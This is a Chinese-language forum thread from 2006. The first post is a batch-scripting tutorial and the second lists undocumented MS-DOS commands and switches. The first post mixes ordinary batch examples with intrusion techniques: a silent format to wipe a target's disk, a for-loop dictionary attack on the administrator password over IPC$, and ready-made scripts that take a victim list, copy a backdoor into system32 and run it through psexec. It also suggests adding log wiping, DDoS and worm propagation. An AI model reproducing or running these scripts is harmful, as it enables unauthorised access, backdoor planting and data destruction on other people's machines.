|
論壇說明 | 標記討論區已讀 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2006-05-04, 08:41 AM | #1 |
榮譽會員
|
批次處理指令和解說
批次處理指令和解說
批次處理,說白了就是DOS操作。有人認為DOS操作過時了、落後了,其實不然。DOS操作最大的好處就在於快、不留痕。在許多時候,Windows操作是根本解決不了問題的,必須借助DOS操作。 必備常識:批次處理的編寫和修改 開啟記事本,將要編寫的內容寫在裡面。在存為bat文件即可。修改也可以用記事本開啟進行修改。 批次處理運用一:掃瞄本機連接阜 這個功能最佳化大師有,就是掃瞄哪個連接阜與internet連接和連接ip。這,為及時發現並攔截非法連接有著不可取代的功勞。 然而,啟動最佳化大師太慢了,而且太煩了,不利於隨機使用。因此,編寫一個這樣的批次處理來解決問題就顯得尤為重要了。 ************************************************************ 程式碼: netstat -n pause 附:也可在每一行開頭新增「@」,這樣指令就不會顯示出來。 ************************************************************ 批次處理運用二:查一般病毒 其實,對於上網的人來說,遇到病毒是在所難免的。然而,如果真的不幸感染,怎樣才能發現呢?難道真的要買昂貴的殺毒軟體嗎?不一定。 我們可以編寫批次處理來查一些一般的網路病毒。如果驗證感染病毒,可以下載專用殺毒工具進行查殺,或採取其他途徑殺毒。 下面,我以歡樂時光為例進行分析: 主文件:1.bat 其它文件:2.bat 3.bat ************************************************************ 1.bat程式碼: @if exist c:\folder.htt call 2.bat @if exist d:\folder.htt call 2.bat @if exist e:\folder.htt call 2.bat @if exist f:\folder.htt call 2.bat ************************************************************ 2.bat程式碼: @echo 發現歡樂時光病毒! @call 3.bat @pause ************************************************************ 3.bat程式碼: @c: @dir *.htt *.ini /s/a>1.txt @d: @dir *.htt *.ini /s/a>1.txt @e: @dir *.htt *.ini /s/a>1.txt ************************************************************ 這樣,如果中毒,那麼必定會存在大量folder.htt和Desktop.ini,通過這樣可以粗略的檢查電腦是否感染病毒。 批次處理運用三:文件處理 假設,我要大規模的做文件的移動、移除等,如果在Windows裡操作不免會出現錯誤,而且這些錯誤不易察覺。因此,用批次處理進行操作,不但簡單易行,而且容易發現錯誤並可以及時改正。 例如,我要將D碟的htm文件移動到E碟,再格式化D碟,然後將文件移回D碟,並改後面為html。 ************************************************************ 1.bat程式碼: @E: @Md d @D: @Copy *.htm e:\d @if exist e:\d\*.htm call 2.bat ************************************************************ 2.bat程式碼: @Format d:/q @Copy e:\d\*.htm d: @D: @Ren *.htm *.html ************************************************************ 從例子中,可以看出,如果一旦出現問題,是很容易被發現的。從而,也證明了批次處理的可用性。 關於批次處理的運用,可以說博大精深,變化莫測。希望大家能夠用DOS指令去最佳化它,這樣才能讓其更好的為我們服務。 批次處理指令 1.Echo 指令 開啟回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 指令將顯示當前回顯設定。 語法:echo [{on|off}] [message] Sample:echo off / echo hello world 在實際套用中我們會把這條指令和重轉發IP符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些指令到特定格式的文件中.這將在以後的例子中體現出來。 2.@ 指令 表示不顯示@後面的指令,在入侵程序中(例如使用批次處理來格式化敵人的硬碟)自然不能讓對方看到你使用的指令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 這個指令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。) 3.Goto 指令 指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的指令。 語法:goto label (label是參數,指定所要轉向的批次處理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto指令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。 4.Rem 指令 註釋指令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 指令 執行 Pause 指令時,將顯示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在這個例子中,驅動器 A 中磁牒上的所有文件均複製到d:\back中。顯示的註釋提示您將另一張磁牒放入驅動器 A 時,pause 指令會使程序掛起,以便您更換磁牒,然後按任意鍵繼續處理。 6.Call 指令 從一個批次處理程序使用另一個批次處理程序,並且不終止父批次處理程序。call 指令接受用作使用目標的標籤。如果在指令碼或批次處理文件外使用 Call,它將不會在指令行起作用。 語法:call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 參數:[Drive:}[Path] FileName 指定要使用的批次處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 副檔名。 7.start 指令 使用外部程序,所有的DOS指令和指令行程序都可以由start指令來使用。 入侵常用參數: MIN 開始時視窗最小化 SEPARATE 在分開的空間內開始 16 位 Windows 程序 HIGH 在 HIGH 優先等級類別開始應用程式 REALTIME 在 REALTIME 優先等級類別開始應用程式 WAIT 啟動應用程式並等候它結束 parameters 這些為傳送到指令/程序的參數 執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式終止就返回指令提示。如果在指令指令碼內執行,該新行為則不會發生。 8.choice 指令 choice 使用此指令可以讓用戶輸入一個字元,從而執行不同的指令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234…… 如: choice /c:dme defrag,mem,end 將顯示 defrag,mem,end[D,M,E]? Sample: Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件執行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選項d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。 9.If 指令 if 表示將判斷是否符合規定的條件,從而決定執行不同的指令。 有三種格式: 1、if "參數" == "字元串" 待執行的指令 參數如果等於指定的字元串,則條件成立,執行指令,否則執行下一句。(注意是兩個等號) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 檔案名 待執行的指令 如果有指定的文件,則條件成立,執行指令,否則執行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 數位 待執行的指令 如果返回碼等於指定的數位,則條件成立,執行指令,否則執行下一句。 如if errorlevel 2 goto x2 DOS程序執行時都會返回一個數位給DOS,稱為錯誤碼errorlevel或稱返回碼,一般的返回碼為0、1。 10.for 指令 for 指令是一個比較複雜的指令,主要用於參數在指定的範圍內循環執行指令。 在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一個單一字母可取代的參數。 (set) 指定一個或一組文件。可以使用萬用字元。 command 指定對每個文件執行的指令。 command-parameters 為特定指令指定參數或指令行開關。 在批次處理文件中使用 FOR 指令時,指定變數請使用 %%variable 而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I 如果指令副檔名被啟用,下列額外的 FOR 指令格式會受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含萬用字元,則指定與目錄名匹配,而不與文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的 FOR 語句。如果在 /R 後沒有指定目錄,則使用當前 目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 FOR /L %variable IN (start,step,end) DO command [command-para 該集表示以增量形式從開始到結束的一個數位序列。 因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 為一個或多個檔案名。繼續到 filenameset 中的 下一個文件之前,每份文件都已被開啟、讀取並經過處理。 處理包括讀取文件,將其分成一行行的文字,然後將每行 解析成零或更多的符號。然後用已找到的符號字元串變數值 使用 For 循環。以預設方式,/F 通過每個文件的每一行中分開 的第一個空白符號。跳過空白行。您可通過指定可選 "options" 參數替代預設解析操作。這個帶引號的字元串包括一個或多個 指定不同解析選項的關鍵字。這些關鍵字為: eol=c - 指一個行註釋字元的結尾(就一個) skip=n - 指在文件開始時忽略的行數。 delims=xxx - 指分隔符集。這個取代了空格和跳格鍵的 預設分隔符集。 tokens=x,y,m-n - 指每行的哪一個符號被傳送到每個迭代 的 for 本身。這會導致額外變數名稱的 格式為一個範圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號, 那麼額外的變數將在最後一個符號解析之 分配並接受行的保留文本。 usebackq - 指定新語法已在下類情況中使用: 在作為指令執行一個後引號的字元串並且 引號字元為文字字元串指令並允許在 fi 中使用雙引號擴起檔案名稱。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將 每行中的第二個和第三個符號傳送給 for 程序體;用逗號和/或 空格定界符號。請注意,這個 for 程序體的語句引用 %i 來 取得第二個符號,引用 %j 來取得第三個符號,引用 %k 來取得第三個符號後的所有剩餘符號。對於帶有空格的文件 名,您需要用雙引號將檔案名括起來。為了用這種方式來使 用雙引號,您還需要使用 usebackq 選項,否則,雙引號會 被理解成是用作定義某個要分析的字元串的。 %i 專門在 for 語句中得到說明,%j 和 %k 是通過 tokens= 選項專門得到說明的。您可以通過 tokens= 一行 指定最多 26 個符號,只要不試圖說明一個高於字母 z 或 Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的; 同時不能有 52 個以上都在使用中。 您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是, 用單引號將括號之間的 filenameset 括起來。這樣,該字元 串會被當作一個文件中的一個單一輸入行。 最後,您可以用 FOR /F 指令來分析指令的輸出。方法是,將 括號之間的 filenameset 變成一個反括字元串。該字元串會 被當作指令行,傳送到一個子 CMD.EXE,其輸出會被抓進 記憶體,並被當作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 會枚舉當前環境中的環境變數名稱。 另外,FOR 變數參照的取代已被增強。您現在可以使用下列 選項語法: ~I - 移除任何引號("),擴充 %I %~fI - 將 %I 擴充到一個完全合格的路徑名 %~dI - 僅將 %I 擴充到一個驅動器號 %~pI - 僅將 %I 擴充到一個路徑 %~nI - 僅將 %I 擴充到一個檔案名 %~xI - 僅將 %I 擴充到一個文件副檔名 %~sI - 擴充的路徑只含有短名 %~aI - 將 %I 擴充到文件的文件內容 %~tI - 將 %I 擴充到文件的日期/時間 %~zI - 將 %I 擴充到文件的大小 %~$PATH:I - 搜尋列在路徑環境變數的目錄,並將 %I 擴充 到找到的第一個完全合格的名稱。如果環境變數 未被定義,或者沒有找到文件,此組合鍵會擴充 空字元串 可以組合修飾符來得到多重結果: %~dpI - 僅將 %I 擴充到一個驅動器號和路徑 %~nxI - 僅將 %I 擴充到一個檔案名和副檔名 %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 %~dp$PATH:i - 搜尋列在路徑環境變數的目錄,並將 %I 擴充 到找到的第一個驅動器號和路徑。 %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR 在以上例子中,%I 和 PATH 可用其他有效數值替代。%~ 語法 用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名 比較易讀,而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方說明 ,下面我們舉幾個例子來具體說明一下For指令在入侵中的用途。 sample2: 利用For指令來實現對一台目標Win2k主機的暴力密碼破解。 我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。 最主要的指令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 指令來連接。然後將程序執行結果傳送給find指令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":指令成功完成">>D:\ok.txt ,這樣就ko了。 sample3: 你有沒有過手裡有大量目標物等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批次處理文件,可以簡化日常或重複性工作。那麼如何實現呢?哈哈,看下去你就會明白了。 主要指令也只有一條:(在批次處理文件中使用 FOR 指令時,指定變數使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳送給door.bat中的參數%i %j %k。 而cultivate.bat無非就是用net use指令來建立IPC$連接,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。 delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。 程式碼雛形: --------------- cut here then save as a batchfile(I call it main.bat ) -------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) -------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @p***ec \\%1 c:\winnt\system32\windrv32.exe @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) ------------------- 這只是一個自動種植後門批次處理的雛形,兩個批次處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批次處理內容 尚可增強,例如:加入清除日誌+DDOS的功能,加入定時增加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究. |
__________________ |
|
送花文章: 3,
|
向 psac 送花的會員:
|
jal0707 (2006-11-13)
感謝您發表一篇好文章 |
2006-05-08, 02:10 AM | #2 (permalink) |
榮譽會員
|
Dos未公開的指令與參數
Dos未公開的指令與參數 dos系統中有許多未公開的指令與參數。我經過收集整理,發現了很多。由於dos的有好幾種,所以下面僅以ms-dos為例,介紹一下常用指令中的未公開的指令與參數。經過比較,我發現在ms-dos的各版本中,7.x版中的未公開指令與參數是最多的,這些7.x版本中的未公開指令與參數在其它dos版本中通常是沒有的,但卻是非常實用的,例如command /z指令,這是用dos原有的的指令顯示errorlevel(錯誤返回程式碼)值的唯一方法(當然,用其它的附加工具,如err2env等也可以做到)。 dos未公開指令: truename:用於顯示實際的路徑,對subst等指令很有用。 installhigh:用在config.sys中,將文件調入umb。 logo和comment:僅用在dos7中的config.sys中,用法未知。 dos未公開參數: command /f 使fail作為abort,retry,fail中的預設選項。 command /d 在dos5中是禁止autoexec.bat自動執行;在6.0+版本中是禁止/f參數。 command /z 顯示errorlevel(錯誤返回程式碼)訊息。 command /t 在dos7.x中強制將command.com永久性調入一般記憶體。 format /autotest 自動完成格式化程序。 format /backup 自動完成格式化程序,並提示輸入卷冊。 format /select 只在磁牒上制作備份系統區資料,相當於mirror程序。 format /select /u 將啟始區和mbr用f6h填之。 format /z:n 設定fat32分區上的簇大小。 fdisk /mbr 重寫硬碟硬碟分區表。 fdisk /cmbr drive 重寫指定驅動器上的硬碟分區表。 fdisk /pri:size 新增主分區。 fdisk /ext:size 新增延展分區。 fdisk /log:size 在延展分區上新增邏輯磁碟機。 fdisk /prmt|/q 提示行動/安靜模式。 fdisk /partn 將分區表訊息儲存到partsav.fil中。 fdisk /actok 用於dos7中,跳過完整性測試。 fdisk /fprmt 用於dos7中,自動採用fat32,並跳過提示訊息。 doskey /appedit 使doskey也套用於其它程序(如debug等)中。 doskey /command和/permanent和/scrsize和/xhistory 用法未知。 scandisk /clip 用於dos7中,將長檔案名剪為短檔案名。 scandisk /nolost 用於dos7中,不提示表面測試或丟失掉簇。 scandisk /noui和/text 用於dos7中,使用標準的dos介面。 scandisk /mount 相當於scandisk.ini中的mount=always。 scandisk /time 相當於scandisk.ini中的scantimeout=on。 qbasic /qhelp 進入dos6的全螢幕幕說明 系統,相當於執行help指令。 qbasic /edcom 進入dos6的文件編輯器,相當於執行edit指令。 mem /a或mem /all 顯示hma訊息。 ver /r 顯示增強的版本訊息。 dir /z 用於dos7中,表示不顯示長檔案名。 dos=single 用在dos7中的config.sys中,啟動單一模式的dos。 device=himem.sys /q 當himem.sys載入時使用安靜模式。 device=emm386.exe notr 不要檢測token ring網路橋接器。 dos未公開用法: if exist xmmxxxx0 ... 此指令可以判斷當前是否安裝了himem.sys驅動程式。 if exist emmxxxx0 ... 此指令則用來判斷當前是否安裝了emm386驅動程式。 dir , 用在dos7以前的版中中,顯示所有文件,相當於dir /a。 :: 此符號可在批次處理文件中替代rem註解指令,可以加快執行速度。 以上是ms-dos中的未公開指令與參數,其中有些是非常實用的,大家不妨一試。 |
送花文章: 3,
|
向 psac 送花的會員:
|
jal0707 (2006-11-13)
感謝您發表一篇好文章 |